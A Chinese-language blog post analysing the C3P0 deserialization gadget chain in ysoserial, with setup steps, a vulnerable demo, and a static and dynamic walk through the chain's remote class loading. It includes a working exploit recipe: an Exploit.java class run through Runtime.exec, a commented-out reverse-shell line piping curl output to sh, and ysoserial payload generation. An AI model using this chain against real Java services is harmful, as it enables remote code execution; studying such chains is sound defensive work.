C3P0反序列化链浅析0x0 前言 关于C3P0反序列化链也许被很多人忽视了,网上与此相关的分析相对而言也较少,给人一种第一眼鸡肋的感觉,但是笔者有过切身经历,通过Fuzz的手段利用这个链打成功了某个站点。本文则是笔者学习此链的一些体会。 0x1 依赖安装 ysoserial - git clone https://github.com/frohoff/ysoserial.git
- cd ysoserial
- mvn clean package -DskipTests
复制代码
通过帮助信息,查看C3P0 - java -jar ysoserial-0.0.6-SNAPSHOT-all.jar
复制代码
可以看到c3p0需要的依赖: C3P0 @mbechler c3p0:0.9.5.2, mchange-commons-java:0.2.11要求: c3p0 版本 0.9.5.2 mchange-commons-java 版本 0.2.11 (C3P0的依赖包,maven加载c3p0会自动加载该包) 0x2 配置环境1.Idea 新建一个Maven项目 2.pom.xml 添加依赖 - <dependencies>
- <dependency>
- <groupId>com.mchange</groupId>
- <artifactId>c3p0</artifactId>
- <version>0.9.5.2</version>
- </dependency>
- </dependencies>
- 3.编写反序列化的Demo
复制代码- import java.io.FileInputStream;
- import java.io.IOException;
- import java.io.ObjectInputStream;
- public class C3P0 {
- public static void main(String args[]) throws IOException, ClassNotFoundException {
- String path = System.getProperty("user.dir");
- System.out.println(path);
- ObjectInputStream in = new ObjectInputStream(new FileInputStream(path+"/src/main/java/poc.ser"));
- // trigger deserialization point
- in.readObject();
- }
- }
复制代码
4.挂载远程Exploit.Class Exploit.java - import java.lang.Runtime;
- import java.lang.Process;
- public class Exploit {
- static {
- try{
- Runtime rt = Runtime.getRuntime();
- // reverse shell
- //String[] commands = {"bash","-c","curl https://reverse-shell.sh/IP:PORT|sh"};
- String[] commands = {"bash", "-c", "open -a calculator.app"};
- Process pc = rt.exec(commands);
- pc.waitFor();
- }catch (Exception e){
- // do nothing
- }
- }
- }
复制代码
编译为class文件 javac Exploit.java挂载Exploit.class python3 -m http.server 90915.生成poc.ser java -jar ysoserial-0.0.6-SNAPSHOT-all.jar C3P0 "http://0.0.0.0:9091/:Exploit" > poc.ser6.执行反序列化 0x3 反序列化过程这里笔者使用了两种分析思路,静态分析依赖环境少,但要求相对来说高,时间成本大点,动态分析则依赖环境搭建,要求较低,看懂代码就行,时间成本低,所以笔者一般会根据时间区间、代码复杂程度来权衡使用这两种方法。 1) 静态分析思路 通过查看ysoserial关于C3P0的注释: * com.sun.jndi.rmi.registry.RegistryContext->lookup
* com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized->getObject
* com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase->readObject大概可以知道这个链的流向: 第一步: com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase->readObject 打开Packages,可以看到各种包,我们查找下c3p0 通过给出的包结构找到了第一个触发点:readObject 先通过short version = ois.readShort();读取版本,如果可以,那么就开始调用原生的ois.readObject()进行反序列化操作,获得对象之后,触发对象的getObject方法 第二步: com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized->getObject 找到这里com.mchange.v2.naming.ReferenceIndirector,我们看到ReferenceSerialized是一个私有静态类,通过第一步触发了该类的getObject方法。 可控的类属性: - ReferenceSerialized( Reference reference,
- Name name,
- Name contextName,
- Hashtable env )
- {
- this.reference = reference;
- this.name = name;
- this.contextName = contextName;
- this.env = env;
- }
复制代码
getObject有initialContext.lookup,其中contextName参数可控,可以进行JNDI注入。 - public Object getObject() throws ClassNotFoundException, IOException
- {
- try
- {
- Context initialContext;
- if ( env == null )
- initialContext = new InitialContext();
- else
- initialContext = new InitialContext( env );
- Context nameContext = null;
- if ( contextName != null )
- // vuln
- nameContext = (Context) initialContext.lookup( contextName );
- return ReferenceableUtils.referenceToObject( reference, name, nameContext, env );
- }
- catch (NamingException e)
- {
- //e.printStackTrace();
- if ( logger.isLoggable( MLevel.WARNING ) )
- logger.log( MLevel.WARNING, "Failed to acquire the Context necessary to lookup an Object.", e );
- throw new InvalidObjectException( "Failed to acquire the Context necessary to lookup an Object: " + e.toString() );
- }
- }
- }
复制代码
第三步:com.sun.jndi.rmi.registry.RegistryContext->lookup JNDI加载执行恶意类。 通过静态分析,我们可以大体明白C3P0的核心思路,出发点是PoolBackedDataSourceBase,落脚点是:ReferenceSerialized的getObject方法进行lookup加载可控远程恶意类。 2) 动态分析思路 这里我们直接打两个断点,用Idea进行debug分析ysoserial的加载过程。 跟进 可以很明显发现传入的对象是ReferenceSerialized类对象 但是传入的属性跟我静态分析想的不太一样,这里只传入了reference,其他为空: 然后继续单步跟进触发ReferenceSerialized类对象下的getObject方法,这里需要注意下这里有个关键的判断o是不是IndirectlySerializedS的接口实现,是的话就触发成功。 这里确实跟我静态分析不一样,并没有采用lookup进行JNDI注入,而是执行ReferenceableUtils.referenceToObject方法,单步跟进:
可以看到使用URLClassLoader方法通过远程HTTP服务远程加载类之后,利用Class.forName去实现恶意类的触发。
回顾上面的反序列化的过程: 传入一个精心构造的PoolBackedDataSourceBase类实例的序列化数据,反序列化的时候触发下面流程: 1.触发PoolBackedDataSourceBase类readObject的方法 2.原生反序列化得到ReferenceSerialized实例,自带实现IndirectlySerialized接口。 3.ReferenceSerialized实例的Reference属性包括了恶意类的加载信息 4.向下执行((IndirectlySerialized) o).getObject()触发其getObject方法,执行到ReferenceableUtils.referenceToObject( reference, name, nameContext, env )进行远程加载和调用恶意类,完成攻击。 0x4 序列化过程直接跟进ysoserial的payload生成阶段 首先可以看到生成C3P0,我们传入的参数有固定格式:<base_url>:<classname> http://0.0.0.0:9091/:Exploit ->经过解析之后转化为url和className 接下来: PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
上面代码通过反射获取到入口类PoolBackedDataSourceBase得到其实例b。 Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url));
然后通过反射设置其connectionPoolDataSource属性(为什么是这个属性?这个跟payload序列化生成有关,看下文)->new PoolSource(className, url) 跟进PoolSource的实现: private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
private String className;
private String url;
// constructor
public PoolSource ( String className, String url ) {
this.className = className;
this.url = url;
}
// 暂时不知道具体作用
public Reference getReference () throws NamingException {
// 恶意类的远程加载信息
return new Reference("exploit", this.className, this.url);
}
// ...实现接口中的其他函数,可以忽略
}
其实到了这一步,可以感受到ysoserial作者对笔者技术层面进行降维打击。 笔者一直在想的是,为什么不直接自己写个代码实现ReferenceSerialized呢?
这里可以注意到PoolSource类是没有实现Serializable接口的,那么如果对这个对象进行序列化的话,过程会出错的,我们继续跟进objOut.writeObject(b);看下是怎么处理的。 调用到PoolBackedDataSourceBase类下的writeObject 这里并没有直接通过序列化得到PoolSource,而是缺乏Serializable实现,导致序列化过程失败,转而巧妙地通过indirectForm方法,来生成ReferenceSerialized类实例直接进行字节码写入。(*) 这里可以看到PoolSource 除了充当ConnectionPoolDataSource类型、在这里还进行了类型强制转换为Referenceable,故PoolSource类继承了ConnectionPoolDataSource, Referenceable这两个接口,同时实现getReference方法,将恶意类的信息加载了进去。 同时由于返回的是ReferenceSerialized实例,其自身实现IndirectlySerialized接口,故可以通过先前动态调试中的那个判断。 至此写入的序列化信息,能够在反序列化的时候进行正确类型转换,并且执行到恶意类加载。 0x5 总结 这个链就是很巧,当时我还以为代码是刻意修改过的,后面发现这都是原生功能,ysoserial作者并没有重新实现某个类,也没有重写序列化方法,故这个神奇的链条实现方式,我自称之为魔法。 0x6 参考链接C3P0反序列化链利用分析 c3p0的三个gadget Modify ysoserial jar serialVersionUID ysoserial CommonsCollections7 & C3P0 详细分析 ysoserial-C3P0 分析 注:如有侵权请联系删除
|